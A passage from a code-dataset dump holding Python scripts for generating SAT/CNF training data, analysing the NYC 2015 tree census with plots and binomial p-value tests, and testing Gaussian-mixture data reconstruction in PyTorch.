cnf2graph(f):\n g = nx.Graph()\n vs = set()\n cs = set()\n for i, cl in enumerate(f):\n c = 'C{}'.format(i)\n g.add_node(c, bipartite=1)\n cs.add(c)\n for j, vr in enumerate(cl):\n v = 'V{}'.format(abs(vr))\n vs.add(v)\n g.add_node(v, bipartite=0)\n g.add_edge(v, c, weight=1 if vr > 0 else -1)\n return g, vs, cs\n\n\ndef normalizeCNF(f):\n # print(f)\n g, vs, cs = cnf2graph(f)\n # разделяем по компонентам связности, сортируем их по убыванию количества вершин\n components = list(nx.connected_components(g))\n components = sorted(components, key=len, reverse=True)\n subgraphs = [g.subgraph(nds) for nds in components]\n\n # количество соседей каждой вершины\n neighboursV = {k: len(list(nx.neighbors(g, k))) for k in g.nodes() if k in vs}\n neighboursC = {k: len(list(nx.neighbors(g, k))) for k in g.nodes() if k in cs}\n\n # def make_key(sg):\n # ndsV = tuple(sorted([neighboursV[nd] for nd in sg.nodes if nd in neighboursV]))\n # ndsC = tuple(sorted([neighboursC[nd] for nd in sg.nodes if nd in neighboursC]))\n # return (ndsC, ndsV)\n #\n # k = sorted([make_key(sg) for sg in subgraphs])\n\n new_f = []\n new_vars = []\n new_clauses = []\n for sg in subgraphs:\n locvs = sorted([n for n in sg.nodes if n in vs], key=lambda n: neighboursV[n])\n loccs = sorted([n for n in sg.nodes if n in cs], key=lambda n: neighboursC[n])\n new_vars.extend(locvs)\n new_clauses.extend(loccs)\n new_clauses = [int(c[1:]) for i, c in enumerate(new_clauses)]\n new_vars = [int(v[1:]) for i, v in enumerate(new_vars)]\n\n for i, old_cl in enumerate(new_clauses):\n ocl = f[old_cl]\n new_cl = []\n for v in ocl:\n nv = new_vars.index(abs(v)) + 1\n if v < 0:\n nv *= -1\n new_cl.append(nv)\n new_cl = tuple(sorted(new_cl, key=abs))\n new_f.append(new_cl)\n if not (nx.algorithms.isomorphism.is_isomorphic(g, cnf2graph(new_f)[0])):\n raise Exception('graps before and after is not isomorphic')\n return tuple(new_f) # tuple(sorted(f))\n\n\ndef generate_dataset(nVars, count, max_clauses=-1, min_clauses=1):\n data = set()\n c0 = 0\n c1 = 0\n while len(data) < count:\n # выбираем количество переменных\n if isinstance(nVars, int):\n nV = nVars\n else:\n nV = random.choice(nVars)\n #генерируем формулу\n eff_v = 0\n while eff_v != nV:\n f = generateRandomCNFt(nV, max_clauses, min_clauses)\n eff_v = effective_Vars(f)\n print('nV={},effV={},clauses={}'.format(nV, eff_v, len(f)))\n #нормализуем её\n f1 = normalizeCNF(f)\n # print('f1={}'.format(f1))\n #определяем выполнимость\n l = SolveSAT(f)\n #добавляем в соответствующее множество\n print('sat: {};'.format(l), end='')\n sz0 = len(data)\n if l and c1 * 2 < count:\n data.add((f1, l))\n sz1 = len(data)\n c1 += 1 if sz0 < sz1 else 0\n print(' added;', end='')\n elif not l and c0 * 2 < count:\n data.add((f1, l))\n sz1 = len(data)\n c0 += 1 if sz0 < sz1 else 0\n print(' added;', end='')\n else:\n print(' not added;', end='')\n print(' sat:{: >8}, unsat:{: >8}'.format(c1, c0))\n data = list(data)\n return data\n\n\n# generate_dataset(r'C:\\Users\\Alex\\Dropbox\\институт\\диссертация\\конфа 2020\\data\\test.txt', 4, 10)\n\n\ndef save_dataset(data, save_pth):\n with open(save_pth, 'w', encoding='utf-8') as f:\n for d in data:\n f.write('{}\\n'.format(d))\n\n\n\n\ndef split(data, test_sz):\n t0 = []\n t1 = []\n tr = []\n for f, l in data:\n if not l and len(t0) * 2 < test_sz:\n t0.append((f, 0))\n elif l and len(t1) * 2 < test_sz:\n t1.append((f, 1))\n else:\n tr.append((f, 1 if l else 0))\n return tr, t0 + t1\n\n\ndef gen_dataset_files(nVarsT, trainSZ, testSZ, nVarsV, valSZ, svdir, max_clauses=-1):\n import os\n data = generate_dataset(nVarsT, trainSZ + testSZ, max_clauses, min_clauses=3)\n trdata, tsdata = split(data, testSZ)\n valdata = generate_dataset(nVarsV, valSZ, max_clauses, min_clauses=3)\n st = str(nVarsT) if isinstance(nVarsT, int) else '({}-{})'.format(min(nVarsT), max(nVarsT))\n stv = str(nVarsV) if isinstance(nVarsV, int) else '({}-{})'.format(min(nVarsV), max(nVarsV))\n if not os.path.exists(svdir):\n os.makedirs(svdir)\n save_dataset(trdata, os.path.join(svdir, 'V{}Train.txt'.format(st)))\n save_dataset(tsdata, os.path.join(svdir, 'V{}Test.txt'.format(st)))\n save_dataset(valdata, os.path.join(svdir, 'V{}Valid.txt'.format(stv)))\n print('done')\n\n\nif __name__ == '__main__':\n train_size = 90000\n test_size = 10000\n val_size = 10000\n nVarsT = range(3, 8)\n nVarsV = range(10, 12)\n max_clauses = 200\n fld = r'C:\\Users\\Alex\\Dropbox\\институт\\диссертация\\статья нейросеть выводимость\\data35'\n\n gen_dataset_files(nVarsT, train_size, test_size, nVarsV, val_size, fld, max_clauses)\n\n# d,l=read_dataset(r'C:\\Users\\Alex\\Dropbox\\институт\\диссертация\\конфа 2020\\data\\V6Train.txt')\n","sub_path":"sat/data_generation/cnf/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":17557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"378392259","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import ttest_1samp\nimport scipy.stats as stats\nimport time\nimport matplotlib as mpl\nmpl.rcParams['figure.dpi'] = 100 #above this messed with plotting somehow\n\nplt.rcParams.update({'font.size': 18, 'font.family': 'sans'})\nplt.style.use('ggplot')\n\n\npd.set_option('display.max_row', 100)\npd.set_option('display.max_columns', 50)\n\ntc = pd.read_csv('/Users/riley/Desktop/DSI/den-19/capstones/Capstone_one/tree-csvs/new_york_tree_census_2015.csv')\n#sample for testing will change tc1 back to tc upon deletion\ntc.drop(index=297358, inplace=True) #can only use when read_csv is set equal to tc. tc is adjusted to tc1 when using sample to run tests on graphs and analysis \\\n#due to computer limitations\n\n# tc = tc1.sample(10000, random_state=2)\n\n\nindicator_cols = ['curb_loc', 'spc_latin', 'steward', 'guards', 'sidewalk', 'user_type', \\\n 'problems', 'root_stone', 'root_grate', 'root_other', 'trunk_wire', 'trnk_light', 'trnk_other', \\\n 'brch_light', 'brch_shoe', 'brch_other', 'zipcode', 'boroname' ]\n\nbinom_cols = ['root_stone', 'root_grate', 'root_other', 'trunk_wire', 'trnk_light', 'trnk_other', \\\n 'brch_light', 'brch_shoe', 'brch_other', 'sidewalk', 'problems']\n\ncat_col = ['curb_loc', 'steward', 'user_type', 'boroname']\n\ndef clean_data():\n \"\"\"\n [Removes NaN values and replaces values that cannot be used with those that can. All health NaN values were related\n to tree status being either Dead or Stump and as a result those were mirrored for consistency of value type and information.\n Problem was changed from categorical to binary because the inputs were so inconsistent it seemed more accurate to evaluate it \n as a whole.\n ]\n \"\"\" \n #assign health category\n tc.loc[tc.status == 'Dead', 'health'] = 'Dead'\n tc.loc[tc.status == 'Stump', 'health'] = 'Stump'\n #assign sidewalk to binomials\n tc.loc[tc.sidewalk == 'NoDamage', 'sidewalk'] = 0\n tc.loc[tc.sidewalk == 'Damage', 'sidewalk'] = 1\n\n tc['spc_latin'] = tc['spc_latin'].replace([np.nan],'Unknown')\n tc['spc_common'] = tc['spc_common'].replace([np.nan],'Unknown')\n tc['steward'] = tc['steward'].replace([np.nan],'Dead')\n tc['guards'] = tc['guards'].replace([np.nan],'Dead')\n tc['sidewalk'] = tc['sidewalk'].replace([np.nan],'Dead')\n tc['problems'] = tc['problems'].replace([np.nan], \"Unknown\") \n\n \n for i in 'SWTRMB':\n tc['problems'] = tc['problems'].str.replace(rf'{i}.+', '1') \n tc.loc[tc.problems == \"None\", 'problems'] = 0\n tc.loc[tc.problems == \"1\", 'problems'] = 1\n\n for i in binom_cols:\n tc[i] = tc[i].replace(\"Yes\", 1)\n tc[i] = tc[i].replace(\"No\", 0)\n\nclean_data()\n\n\nbetter_col_names = {\n 'curb_loc': 'Curb Location',\n 'spc_latin': 'Latin Name',\n 'steward': 'Signs of Care',\n 'guards': 'Tree Guards (structure)',\n 'sidewalk': 'Sidewalk Damage',\n 'user_type': 'Data recorder',\n 'problems': 'Other Problems',\n 'root_stone': 'Roots Restricted',\n 'root_grate': 'Roots Restricted by Grate',\n 'root_other': 'Root issues Other',\n 'trunk_wire': 'Trunk Restricted by Wire',\n 'trnk_light': 'Trunk Restricted by Lights',\n 'trnk_other': \"Trunk Restriction (Other)\",\n 'brch_light': \"Branch Restriced by Lights\",\n 'brch_shoe': \"Branches with Shoes on them\",\n 'brch_other': \"Branch Issue (Other)\",\n 'zipcode': 'Zipcode',\n 'borocode': \"Borough Code\",\n 'boroname': \"Borough Name\",\n 'tot_ind': \"Aggregate Indicator Value\"\n}\nbetter_cat_tick_names = {\n \"None\": \"No Signs\",\n \"1or2\": \"1-2 Signs\",\n \"3or4\": \"3-4 Signs\",\n \"4orMore\": \"5+ Signs\",\n \"OnCurb\": \"On The Curb\",\n \"OffsetFromCurb\": \"Away From Curb\"\n}\n\n\n\n\n#modify to creat other subsets\ndef aggregate_tree_indicators(df, new_col):\n \"\"\"[Creates a subset of original dataframe with a sum of binary indicators in a new column]\n\n Args:\n df ([type]): [description]\n new_col ([type]): [description]\n\n Returns:\n [type]: [description]\n \"\"\"\n binary_sum_df = binom_cols.copy()\n binary_sum_df.append(\"tot_ind\")\n binary_sum_df.append('health')\n df[new_col] = df[binom_cols].sum(axis=1)\n agg_df = df[binary_sum_df]\n return agg_df\n\nagg_df = aggregate_tree_indicators(tc, \"tot_ind\")\n\n\ndef incomplete_function_to_f_remove_nan_health(df):\n lst = 0\n for i in df.index:\n if df.loc[i, 'health'] not in ['Good', 'Fair', 'Poor', 'Dead', 'Stump']:\n lst += 1\n pass\n\ndef find_nan_values(df):\n \"\"\"[Identifies columns with NaN values and returns number of NaN values per col]\n\n Returns:\n [List]: 2 lists in parralell with column name and number of NaN values respectively \n \"\"\" \n nan_columns = []\n nan_nums = [] # in parrallel with nan_columns\n for i in df.columns:\n if df[i].isnull().values.any():\n nan_columns.append(i)\n for i in df.columns:\n if df[i].isnull().sum():\n nan_nums.append(df[i].isnull().sum())\n return nan_columns, nan_nums\n\n# a, b = find_nan_values(tc)\n# print(a)\n# print(b)\n\ndef check_nan_amount(df, columns):\n '''\n input:\n df: dataframe\n columns: list of string column names\n \n output:\n a tuple containing a set of indexes where there in a NaN value in one of the \n given columns as well as the length of that set.\n '''\n\n idx = set()\n for i in columns:\n for b in df[df[i].isnull()].index.values:\n idx.add(b)\n return len(idx), idx\n\n# lng, idx = check_nan_amount(tc, a)\n# print(idx)\n\n\n#Dict of unique values in each column\ncv = dict()\n\nfor i in tc.columns:\n cv[i] = []\n\nfor i in tc.columns:\n for value in tc[i].unique():\n cv[i].append(value)\n\n\ndef tot_tree_health(df):\n health_dict = dict()\n for item in cv['health']:\n health_dict[item] = 0\n for idx in df.index:\n if df.loc[idx, 'health'] == item:\n health_dict[item] += 1\n return health_dict\n\ndef categorical_val(df, column):\n \"\"\" Takes a column with categorical infomration and plots unique values vs healthy tree count\n\n Args:\n df ([dataframe]): [Tree cencus]\n column ([Str]): [Categorical response column]\n \"\"\" \n \n indicators = dict()\n cat_idx = dict()\n for item in cv[column]:\n if item not in [\"Dead\"]:\n indicators[item] = 0\n cat_idx[item] = set()\n for idx in df.index:\n if df.loc[idx, column] == item:\n cat_idx[item].add(idx)\n indicators[item]+= 1\n return cat_idx\n\ndef indicator_value(df, columns, value=1):\n \"\"\"[Takes a list of columns and returns a dictionary with values that are sets of indexes\n where the value was 1]\n\n Args:\n df ([pandas dataframe]): \n columns ([list]): List of strings indicating column names\n\n Output:\n two dictionaries one with column and number of hits, the other with column and a list of 'yes' indexes. \n \"\"\" \n indicators = dict()\n idc_idx = dict()\n for item in columns:\n indicators[item] = 0\n idc_idx[item] = set()\n for idx in df.index:\n if df.loc[idx, item] == value:\n idc_idx[item].add(idx)\n indicators[item]+= 1\n return idc_idx\n\ndef indicator_vs_health(df, indicator_idx_set):\n \"\"\"[summary]\n\n Args:\n df ([pandas datafram]): \n indicator ([set of indexes where indicator == 'Yes']):\n Description:\n Function outputs data sorted by tree health in a format that can be graphed\n\n Output: dictionary where keys are Health values and values are sets of idx's\n \"\"\" \n idc_health = {\n \"Good\": 0,\n \"Fair\": 0,\n \"Poor\": 0,\n \"Dead\": 0,\n }\n health_idx = {\n \"Good\": set(),\n \"Fair\": set(),\n \"Poor\": set(),\n \"Dead\": set(),\n }\n for idx in indicator_idx_set:\n for categ in idc_health:\n if df.loc[idx, 'health'] == categ:\n idc_health[categ] +=1\n health_idx[categ].add(idx)\n # if df.loc[i, 'health'] == \"Good\":\n # idc_health[\"Good\"] +=1\n \n # if df.loc[i, 'health'] == \"Fair\":\n # idc_health[\"Fair\"] +=1\n # if df.loc[i, 'health'] == \"Poor\":\n # idc_health[\"Poor\"] +=1\n # if df.loc[i, 'health'] == \"Dead\":\n # idc_health[\"Dead\"] +=1\n return idc_health\n\n\ndef graph_tot_health(ax):\n\n D1 = tot_tree_health(tc)\n print(D1)\n D = {k: v for k, v in sorted(D1.items(), reverse=True, key=lambda item: item[1])}\n print(D)\n x = np.arange(len(D))\n\n labels = D.keys()\n\n def autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n colors = [\"g\", \"orange\", \"m\", \"saddlebrown\", 'black']\n values = ax.bar(x, D.values(), align='center', color=colors)\n\n ax.set_xticks(x)\n ax.set_xticklabels(labels)\n ax.set_ylabel('Number of trees by Health category')\n ax.set_title('Tree Health')\n\n \n\n autolabel(values)\n \n fig.tight_layout()\n\ndef plottheshit(diction, ax, label_start=\"Potential Indicators\"):\n \"\"\"[summary]\n\n Args:\n diction ([dict of dict]): Column: A dictionary with keys being individual indicators\n Values are the number of trees found presenting a given indicator in each health category.\n \"\"\"\n def labels(diction):\n \"\"\"[Adjusts label output based on type of input organizes output by height]\n\n Args:\n diction ([dict of dict]): [same dictionary passed to parent function]\n\n Returns:\n [Labels]: [list]\n [better_lables]: list of adjusted labels if necessary\n \"\"\" \n if len(list(diction.keys())) == 11:\n labels = ['problems', 'sidewalk', 'root_stone', 'brch_light', 'root_other', 'trnk_other', 'brch_other', 'trunk_wire', 'root_grate', 'trnk_light', 'brch_shoe']\n else:\n for i in diction.keys():\n if i in [\"OnCurb\", \"OffsetFromCurb\"]:\n labels = [\"OnCurb\", \"OffsetFromCurb\"]\n if i in [\"None\", \"1or2\", \"3or4\", \"4orMore\"]:\n labels = [\"None\", \"1or2\", \"3or4\", \"4orMore\"]\n if i in [\"TreesCount Staff\", 'Volunteer', 'NYC Parks Staff']:\n labels = [\"TreesCount Staff\", 'Volunteer', 'NYC Parks Staff']\n if i in [\"Queens\", \"Brooklyn\", \"Manhattan\", \"Bronx\", \"Staten Island\"]:\n labels = [\"Queens\", \"Brooklyn\", \"Manhattan\", \"Bronx\", \"Staten Island\"]\n if 1 in diction.keys():\n labels = sorted(list(diction.keys()))\n \n better_labels = []\n if labels[0] in better_col_names.keys():\n for i in labels:\n better_labels.append(better_col_names[i])\n elif labels[0] in better_cat_tick_names.keys():\n for i in labels:\n better_labels.append(better_cat_tick_names[i])\n else:\n better_labels = labels\n return labels, better_labels\n \n labels, better_labels = labels(diction)\n Good = []\n Fair = []\n Poor = []\n Dead = []\n status = {\n \"Good\": Good,\n \"Fair\": Fair,\n \"Poor\": Poor,\n \"Dead\": Dead\n }\n \n def autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate(f'{height:2}',\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom', rotation=0)\n\n\n print(labels)\n for col in labels:\n for k, v in status.items():\n v.append(diction[col][k])\n\n x = np.arange(len(labels))\n width = .25\n\n ax.set_ylim(ymin=-100.0, ymax=400000.0)\n rects1 = ax.bar(x - width*1.5, Good, width, label='Good', Color=\"green\")\n rects2 = ax.bar(x - width/2, Fair, width, label='Fair', color=\"orange\")\n rects3 = ax.bar(x + width/2, Poor, width, label='Poor', color=\"magenta\")\n if not sum(Dead) == 0:\n rects4 = ax.bar(x + width*1.5, Dead, width, label='Dead', color=\"black\")\n autolabel(rects4)\n rects_lst = [rects1, rects2, rects3]\n\n ax.set_ylabel('Number of Trees Per Category')\n \n ax.set_title(f\"{label_start} compared to Tree Health\")\n ax.set_xticks(x)\n ax.set_xticklabels(better_labels, ha=\"right\", rotation=30) #, rotation=30\n ax.legend()\n\n for i in rects_lst:\n autolabel(i)\n fig.tight_layout()\n\n\ndef plot_cat_col(df, column, ax): \n \"\"\"[Plots an individual column defined as Categorical]\n\n Args:\n column ([Str]): [Column to be graphed]\n \n \"\"\"\n \n cat_idx = categorical_val(df, column)\n better_column = better_col_names[column]\n cat_vs_health = dict()\n for i in cat_idx.keys():\n cat_vs_health[i] = indicator_vs_health(df, cat_idx[i])\n plottheshit(cat_vs_health, ax,label_start=better_column)\n \n\ndef plot_binom_cols(df, binom_cols, ax):\n \"\"\"[Plots columns defined as Binomial ( values correlating to 1 or 0]\n\n Args:\n binom_cols ([list]): [list of Binomial Columns]\n ax ([Ax]): [Axis for graph to plot to]\n \"\"\" \n idc_idx = indicator_value(df, binom_cols)\n idx_by_health_dict = dict()\n for i in binom_cols:\n idx_by_health_dict[i] = indicator_vs_health(df, idc_idx[i])\n plottheshit(idx_by_health_dict, ax)\n\n\ndef get_diction(df, column):\n \"\"\"[outputs dictionary necessary to graph/understand breakdown of indicators compa]\n\n Args:\n df ([type]): [description]\n column ([type]): [description]\n\n Returns:\n [type]: [description]\n \"\"\" \n cat_idx = categorical_val(df, column)\n better_column = better_col_names[column]\n cat_vs_health = dict()\n for i in cat_idx.keys():\n cat_vs_health[i] = indicator_vs_health(df, cat_idx[i])\n # plottheshit(cat_vs_health, ax,label_start=better_column)\n return cat_vs_health\n\n\ndef ratio_of_G_to_nG(cat_vs_health):\n \"\"\"[Takes a dict of dict's broken down by tree health]\n\n Args:\n cat_vs_health ([Dict]): [Dictionary of Dictionaries containing G F P breakdown for trees]\n\n Returns:\n [variables necessary for p_value calculation and graphing]: [tuple of values]\n \"\"\" \n zero_good = 0\n zero_bad = 0\n\n tot_ind_good = 0\n tot_uh_trees = 0\n for i in cat_vs_health.keys():\n if i == 0:\n zero_good += cat_vs_health[i]['Good']\n zero_bad += cat_vs_health[i]['Fair']\n zero_bad += cat_vs_health[i]['Poor']\n else:\n tot_ind_good += cat_vs_health[i]['Good']\n tot_uh_trees += cat_vs_health[i]['Fair']\n tot_uh_trees += cat_vs_health[i]['Poor']\n if (zero_bad + zero_good) == 0:\n return [1, 1, 1, 1, \"no\", 1,]\n else:\n p_val = zero_bad/ (zero_bad + zero_good)\n\n zero_ind_tot = (tot_uh_trees + tot_ind_good)\n\n if (tot_uh_trees + tot_ind_good) == 0:\n return [1, 1, 1, 1, \"no\", 1,]\n else:\n ind_ratio = tot_uh_trees/ (tot_uh_trees + tot_ind_good)\n\n n_val = (tot_uh_trees + tot_ind_good)\n return zero_bad, zero_ind_tot, p_val, tot_uh_trees, n_val, ind_ratio\n\n\ndef get_p_value(n, p, bad, limit=4000, graph_dist=False, graph_p=False):\n \"\"\"[Takes in necessary values to determine a p_value]\n\n Args:\n n ([type]): [description]\n p ([type]): [description]\n bad ([type]): [description]\n limit (int, optional): [description]. Defaults to 4000.\n graph_dist (bool, optional): [description]. Defaults to False.\n graph_p (bool, optional): [description]. Defaults to False.\n\n Returns:\n [type]: [description]\n \"\"\" \n if n == \"no\":\n return \"no_p_value_for_you\"\n print(f'{n} is the n value')\n print(f'{p} is the p value')\n print(f\"{bad}is the number of unhealthy trees we observed\")\n binomial_mean = p * n\n binomial_var = n * p * (1-p)\n \n normal_approx = stats.norm(binomial_mean, np.sqrt(binomial_var))\n def hide_dist_graph():\n binomial = stats.binom(n=n, p=p)\n std = np.sqrt(binomial_var)\n x = np.linspace(0, n, num=n)\n\n fig, axs = plt.subplots( figsize=(16, 6))\n bar_sizes = [binomial.pmf(i) for i in range(n+1)]\n bars = axs[1].bar(range(n+1), bar_sizes, color=\"grey\", align=\"center\")\n axs[1].plot(x, normal_approx.pdf(x), linewidth=3)\n axs[1].set_xlim(binomial_mean-4*std, binomial_mean+4*std)\n axs[0].set_title(\"Unhealthy Tree Probability Distribution\")\n plt.show()\n \n def hide_dist_p_graph():\n fig, ax = plt.subplots(1, figsize=(16, 3))\n\n binomial = stats.binom(n=n, p=p)\n std = np.sqrt(binomial_var)\n x = np.linspace(0, n, num=n)\n \n plt.axvline(x=bad)\n ax.plot(x, normal_approx.pdf(x), linewidth=3)\n ax.set_xlim(binomial_mean-3*std, binomial_mean+65*std)\n ax.fill_between(x, normal_approx.pdf(x), \n where=(x >= bad-1), color=\"red\", alpha=0.5)\n ax.set_title(\"p-value Region\")\n plt.show()\n \n if graph_dist == True:\n hide_dist_graph()\n if graph_p ==True:\n hide_dist_p_graph()\n \n p_value = 1 - normal_approx.cdf(bad-.1)\n print(f\"p-value for indicator values is: {p_value:.4f}\")\n return p_value\n \n# print(get_diction(agg_df, 'tot_ind'))\n\n#modify this framework to accomodate other subsets of data or categories change name of \ndef get_dict_p_values(agg_df): # add column choice\n \"\"\"[Gets p values using a One Sample Approximate Test of Population Proportion]\n\n Args:\n agg_df ([subset of dataframe]): [subset of dataframecontaining aggregate values of indicators ]\n\n Returns:\n [Dict]: [A dictionary containing p_values]\n \"\"\" \n p_value_dict = dict()\n temp_dict = dict()\n temp_dict_helper = get_diction(agg_df, 'tot_ind')\n temp_dict[0] = temp_dict_helper[0]\n for i in temp_dict_helper.keys():\n if i != 0:\n temp_dict[i] = temp_dict_helper[i]\n print(temp_dict)\n _, w, p, t, n, rt = ratio_of_G_to_nG(temp_dict)\n p_value_dict[i] = get_p_value(n, p, t, limit=w+t, graph_p=True)\n temp_dict.pop(i)\n return p_value_dict\n\n# Prints results of p value tests using agg_df \ndef reveal_results():\n \"\"\"[Finds and prints p_values for indicators compared to health using agg_df]\n needs modification to add functionality for other tests\n \"\"\" \n p_values = get_dict_p_values(agg_df)\n alpha_bon = .05 / len(p_values)\n for i in p_values.keys():\n if p_values[i] < alpha_bon:\n print(f'We reject the null hypothesis with a value of {p_values[i]} at an indicator score of {str(i)}')\n else:\n print(f'We fail to reject the null hypothesis with a value of {p_values[i]} at an indicator score of {str(i)}')\n\nreveal_results()\n\n\n# The following should be in an if __name_ == \"__main__\" and is all code that was and is used to create plots run analysis or check data\n\n\n#! maybe nest plot_cat_col inside of this as a function so that it's all together\n# for i in cat_col:\n# fig, ax = plt.subplots(figsize=(16,10)) \n# plot_cat_col(tc, i, ax)\n# plt.show()\n \n\n# fig, ax = plt.subplots(figsize=(16,10))\n# plot_binom_cols(tc, binom_cols, ax)\n# plt.show()\n\n\n# fig, ax = plt.subplots(figsize=(16,7))\n# plot_cat_col(agg_df, 'tot_ind', ax)\n\n# plt.show()\n\n# fig, ax = plt.subplots()\n# graph_tot_health(ax)\n# plt.show()\n\n\n# stat, p_val = stats.ttest_ind(ctr_signed_in.CTR, ctr_not_signed_in.CTR, equal_var=False)\n\n# print('The statistic is: {} \\nP-value: {}'.format(stat ,p_val))\n\n\n# print(get_dict_p_values(agg_df))\n\n# fig, ax = plt.subplots(figsize=(16,7)) \n# plot_cat_col(agg_df, 'tot_ind', ax)\n\n# plt.show()\n\n\n# get_p_value(n_val, p_val, tot_uh_trees, limit=zero_ind_tot+tot_uh_trees)\n\n# plt.show()\n\n#Dictionary used to test agg_df \n# cva = dict()\n# for i in agg_df.columns:\n# cva[i] = []\n# for i in agg_df.columns:\n# for value in agg_df[i].unique():\n# cva[i].append(value)\n# print(cva)\n\n","sub_path":"src/cap_final.py","file_name":"cap_final.py","file_ext":"py","file_size_in_byte":20496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"155808027","text":"\"\"\"Testing reconstruction by matching statistics\nof Gaussian Mixture Model in input space..\n\nComment:\nStatistics are matched, but data is deformed.\nNot enough information given.\n\"\"\"\nimport os\nimport sys\n\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nPWD = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(PWD)\n\nimport utility\nimport datasets\n\nif 'ipykernel_launcher' in sys.argv:\n import importlib\n importlib.reload(utility)\n importlib.reload(datasets)\n\nprint('#', __doc__)\n\ncmaps = utility.categorical_colors(2)\n\n# ======= Set Seeds =======\nnp.random.seed(0)\ntorch.manual_seed(0)\n\n# ======= Create Dataset =======\n# Gaussian Mixture Model\n\ngmm = datasets.random_gmm(\n n_dims=2,\n n_modes=5,\n scale_mean=6,\n scale_cov=3,\n mean_shift=30,\n)\n\n\ndef cov(X, mean=None):\n if mean is None:\n mean = X.mean(dim=0)\n return (X - mean).T @ (X - mean) / len(X)\n\n\nX_A = gmm.sample(n_samples=100)\nm_A, v_A = X_A.mean(dim=0), X_A.var(dim=0)\ncov_A = cov(X_A)\n\n# distorted Dataset B\ndistort_matrix = torch.eye(2) + 3 * torch.randn((2, 2))\ndistort_shift = 2 * torch.randn(2)\n\n\ndef distort(X):\n return X @ distort_matrix + distort_shift\n\n\nX_B_orig = gmm.sample(n_samples=100)\nX_B = distort(X_B_orig)\nm_B, v_B = X_B.mean(dim=0), X_B.var(dim=0)\n\nprint(\"Before:\")\nplt.scatter(X_A[:, 0], X_A[:, 1], c=cmaps[0], label=\"target data A\")\nplt.scatter(X_B[:, 0], X_B[:, 1], c=cmaps[1], label=\"distorted data B\")\nutility.plot_stats([X_A, X_B])\nplt.legend()\nplt.show()\nprint(\"Cross Entropy of A:\", gmm.cross_entropy(X_A).item())\nprint(\"Cross Entropy of B:\", gmm.cross_entropy(X_B).item())\n\n# ======= reconstruct Model =======\nA = torch.randn((2, 2), requires_grad=True)\nb = torch.randn((2), requires_grad=True)\n\n\ndef reconstruct(X):\n return X @ A + b\n\n\n# ======= Loss Function =======\ndef loss_fn(X):\n X = reconstruct(X)\n loss_mean = (X.mean(dim=0) - m_A).norm()\n loss_var = (X.var(dim=0) - v_A).norm()\n\n loss = loss_mean + loss_var\n info = {\n 'loss': loss,\n '[losses] mean': loss_mean.item(),\n '[losses] var': loss_var.item(),\n }\n return info\n # return loss_mean + loss_var\n\n\n# ======= Optimize =======\nlr = 0.1\nsteps = 100\noptimizer = torch.optim.Adam([A, b], lr=lr)\n\nutility.invert([X_B],\n loss_fn,\n optimizer,\n steps=steps,\n plot=True,\n track_grad_norm=True,\n )\n\n# ======= Result =======\nX_B_proc = reconstruct(X_B).detach()\nprint(\"After Reconstruction:\")\nprint(\"Cross Entropy of B:\", gmm.cross_entropy(X_B_proc).item())\nprint(\"Cross Entropy of undistorted B:\", gmm.cross_entropy(X_B_orig).item())\nplt.scatter(X_A[:, 0], X_A[:, 1], c=cmaps[0], label=\"target data A\")\nplt.scatter(X_B_proc[:, 0], X_B_proc[:, 1],\n c=cmaps[1], label=\"reconstructed data B\")\nplt.scatter(X_B_orig[:, 0], X_B_orig[:, 1],\n c='orange', label=\"undistorted data B\", alpha=0.4)\nutility.plot_stats([X_A, X_B_proc])\nplt.legend()\nplt.show()\n\nm_B_pre, v_B_pre = X_B_proc.mean(dim=0), X_B_proc.var(dim=0)\n\n# L2 Reconstruction Error\nId = torch.eye(2)\nl2_err = (reconstruct(distort(Id)) - Id).norm(2).item()\nprint(f\"l2 reconstruction error: {l2_err:.3f}\")\n\n\nprint(\"\\nUsing Covariance Matrix:\")\n# ======= Loss Function =======\n\n\ndef loss_fn2(X):\n X = reconstruct(X)\n loss_mean = (X.mean(dim=0) - m_A).norm()\n loss_var = (cov(X, mean=X.mean(dim=0).detach()) - cov_A).norm()\n\n loss = loss_mean + loss_var\n info = {\n 'loss': loss,\n '[losses] mean': loss_mean.item(),\n '[losses] var': loss_var.item(),\n }\n return info\n # return loss_mean + loss_var\n\n\n# ======= Optimize =======\nlr = 0.1\nsteps = 100\noptimizer = torch.optim.Adam([A, b], lr=lr)\n\nutility.invert([X_B],\n loss_fn2,\n optimizer,\n steps=steps,\n plot=True,\n track_grad_norm=True,\n )\n\n# ======= Result =======\nX_B_proc = reconstruct(X_B).detach()\nprint(\"After Reconstruction:\")\nprint(\"Cross Entropy of B:\", gmm.cross_entropy(X_B_proc).item())\nprint(\"Cross Entropy of undistorted B:\", gmm.cross_entropy(X_B_orig).item())\nplt.scatter(X_A[:, 0], X_A[:, 1], c=cmaps[0], label=\"target data A\")\nplt.scatter(X_B_proc[:, 0], X_B_proc[:, 1],\n c=cmaps[1], label=\"reconstructed data B\")\nplt.scatter(X_B_orig[:, 0], X_B_orig[:, 1],\n c='orange', label=\"undistorted data B\", alpha=0.4)\nutility.plot_stats([X_A, X_B_proc])\nplt.legend()\nplt.show()\n\nm_B_pre, v_B_pre = X_B_proc.mean(dim=0), X_B_proc.var(dim=0)\n\n# L2 Reconstruction Error\nId = torch.eye(2)\nl2_err = (reconstruct(distort(Id)) - Id).norm(2).item()\nprint(f\"l2 reconstruction error: {l2_err:.3f}\")\n","sub_path":"unittests/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"369987994","text":"class Day(object):\n def __init__(self, visits, contacts):\n 